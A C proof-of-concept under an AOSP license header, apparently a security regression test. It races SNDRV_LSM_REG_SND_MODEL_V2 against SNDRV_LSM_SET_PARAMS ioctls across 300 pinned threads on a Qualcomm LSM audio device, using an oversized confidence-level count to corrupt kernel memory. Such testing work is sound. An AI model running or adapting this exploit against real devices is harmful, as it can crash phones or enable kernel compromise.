1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 18 #include <stdio.h> 19 #include <stdlib.h> 20 #include <pthread.h> 21 #include <sys/ioctl.h> 22 #include <sys/types.h> 23 #include <sys/wait.h> 24 #include <errno.h> 25 #include <fcntl.h> 26 #include <unistd.h> 27 #include <string.h> 28 #include <time.h> 29 30 #define THREAD_NUM 600 31 #define DEV "/dev/snd/pcmC0D16c" 32 33 typedef _Bool bool; 34 35 enum lsm_app_id { 36 LSM_VOICE_WAKEUP_APP_ID = 1, 37 LSM_VOICE_WAKEUP_APP_ID_V2 = 2, 38 }; 39 40 enum lsm_detection_mode { 41 LSM_MODE_KEYWORD_ONLY_DETECTION = 1, 42 LSM_MODE_USER_KEYWORD_DETECTION 43 }; 44 45 enum lsm_vw_status { 46 LSM_VOICE_WAKEUP_STATUS_RUNNING = 1, 47 LSM_VOICE_WAKEUP_STATUS_DETECTED, 48 LSM_VOICE_WAKEUP_STATUS_END_SPEECH, 49 LSM_VOICE_WAKEUP_STATUS_REJECTED 50 }; 51 52 enum LSM_PARAM_TYPE { 53 LSM_ENDPOINT_DETECT_THRESHOLD = 0, 54 LSM_OPERATION_MODE, 55 LSM_GAIN, 56 LSM_MIN_CONFIDENCE_LEVELS, 57 LSM_REG_SND_MODEL, 58 LSM_DEREG_SND_MODEL, 59 LSM_CUSTOM_PARAMS, 60 LSM_PARAMS_MAX, 61 }; 62 63 struct snd_lsm_ep_det_thres { 64 __u32 epd_begin; 65 __u32 epd_end; 66 }; 67 68 struct snd_lsm_detect_mode { 69 enum lsm_detection_mode mode; 70 bool detect_failure; 71 }; 72 73 struct snd_lsm_gain { 74 __u16 gain; 75 }; 76 77 struct snd_lsm_sound_model_v2 { 78 __u8 __user *data; 79 __u8 *confidence_level; 80 __u32 data_size; 81 enum lsm_detection_mode detection_mode; 82 __u8 num_confidence_levels; 83 bool detect_failure; 84 }; 85 86 struct snd_lsm_session_data { 87 enum lsm_app_id app_id; 88 }; 89 90 struct snd_lsm_event_status { 91 __u16 status; 92 __u16 payload_size; 93 __u8 payload[0]; 94 }; 95 96 struct snd_lsm_detection_params { 97 __u8 *conf_level; 98 enum lsm_detection_mode detect_mode; 99 __u8 num_confidence_levels; 100 bool detect_failure; 101 }; 102 103 struct lsm_params_info { 104 __u32 module_id; 105 __u32 param_id; 106 __u32 param_size; 107 __u8 __user *param_data; 108 enum LSM_PARAM_TYPE param_type; 109 }; 110 111 struct snd_lsm_module_params { 112 __u8 __user *params; 113 __u32 num_params; 114 __u32 data_size; 115 }; 116 117 struct snd_lsm_output_format_cfg { 118 __u8 format; 119 __u8 packing; 120 __u8 events; 121 __u8 mode; 122 }; 123 124 #define SNDRV_LSM_DEREG_SND_MODEL _IOW('U', 0x01, int) 125 #define SNDRV_LSM_EVENT_STATUS _IOW('U', 0x02, struct snd_lsm_event_status) 126 #define SNDRV_LSM_ABORT_EVENT _IOW('U', 0x03, int) 127 #define SNDRV_LSM_START _IOW('U', 0x04, int) 128 #define SNDRV_LSM_STOP _IOW('U', 0x05, int) 129 #define SNDRV_LSM_SET_SESSION_DATA _IOW('U', 0x06, struct snd_lsm_session_data) 130 #define SNDRV_LSM_REG_SND_MODEL_V2 _IOW('U', 0x07,\ 131 struct snd_lsm_sound_model_v2) 132 #define SNDRV_LSM_LAB_CONTROL _IOW('U', 0x08, uint32_t) 133 #define SNDRV_LSM_STOP_LAB _IO('U', 0x09) 134 #define SNDRV_LSM_SET_PARAMS _IOW('U', 0x0A, \ 135 struct snd_lsm_detection_params) 136 #define SNDRV_LSM_SET_MODULE_PARAMS _IOW('U', 0x0B, \ 137 struct snd_lsm_module_params) 138 139 int fd; 140 pthread_t thread_id[THREAD_NUM+1] = { 0 }; 141 int thread_ret[THREAD_NUM] = { 0 }; 142 int attack = 0; 143 144 struct snd_lsm_sound_model_v2 snd_model_v2_1 = {0, 0, 0, 0, 0, 0}; 145 struct snd_lsm_sound_model_v2 snd_model_v2_2 = {0, 0, 0, 0, 0, 0}; 146 struct snd_lsm_detection_params snd_params = {0, 0, 0, 0}; 147 unsigned char snd_data[1024] = "abcdefghigklmnjfsljffsljflwjwfhnsdnfsnfsnfsnflnflsfls"; 148 unsigned char confidence_level_1[4] = "123"; 149 unsigned char confidence_level_2[20] = "12345678"; 150 151 static int set_affinity(int num) 152 { 153 int ret = 0; 154 cpu_set_t mask; 155 CPU_ZERO(&mask); 156 CPU_SET(num, &mask); 157 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); 158 159 return ret; 160 } 161 162 void* child_ioctl_0() 163 { 164 set_affinity(1); 165 snd_model_v2_1.data = snd_data; 166 snd_model_v2_1.data_size = sizeof(snd_data); 167 snd_model_v2_1.confidence_level = confidence_level_1; 168 snd_model_v2_1.num_confidence_levels = strlen((const char *)confidence_level_1); 169 snd_model_v2_1.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION; 170 snd_model_v2_1.detect_failure = 1; 171 172 while(1){ 173 ioctl(fd, SNDRV_LSM_REG_SND_MODEL_V2, &snd_model_v2_1); 174 } 175 } 176 177 void* child_ioctl_1() 178 { 179 set_affinity(2); 180 snd_model_v2_2.data = snd_data; 181 snd_model_v2_2.data_size = sizeof(snd_data); 182 snd_model_v2_2.confidence_level = confidence_level_2; 183 snd_model_v2_2.num_confidence_levels = strlen((const char *)confidence_level_2); 184 snd_model_v2_2.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION; 185 snd_model_v2_2.detect_failure = 1; 186 187 snd_params.num_confidence_levels = 20; 188 snd_params.conf_level = confidence_level_2; 189 snd_params.detect_failure = 1; 190 snd_params.detect_mode = LSM_MODE_USER_KEYWORD_DETECTION; 191 192 while(1){ 193 nanosleep((const struct timespec[]){{0, 100000}}, NULL); 194 ioctl(fd, SNDRV_LSM_SET_PARAMS, &snd_params); 195 } 196 } 197 198 int main() 199 { 200 int i, ret; 201 202 set_affinity(0); 203 204 fd = open(DEV,O_RDWR); 205 if(fd == -1){ 206 return -1; 207 } 208 209 ret = ioctl(fd, SNDRV_LSM_START, 0); 210 if(ret) 211 return -1; 212 213 for(i = 0; i < 300; i = i + 2){ 214 thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL); 215 thread_ret[i+1] = pthread_create(thread_id + i +1, NULL, child_ioctl_1, NULL); 216 } 217 218 i = 0; 219 attack = 1; 220 while(100){ 221 nanosleep((const struct timespec[]){{0, 100000}}, NULL); 222 } 223 attack = 0; 224 return 0; 225 } 226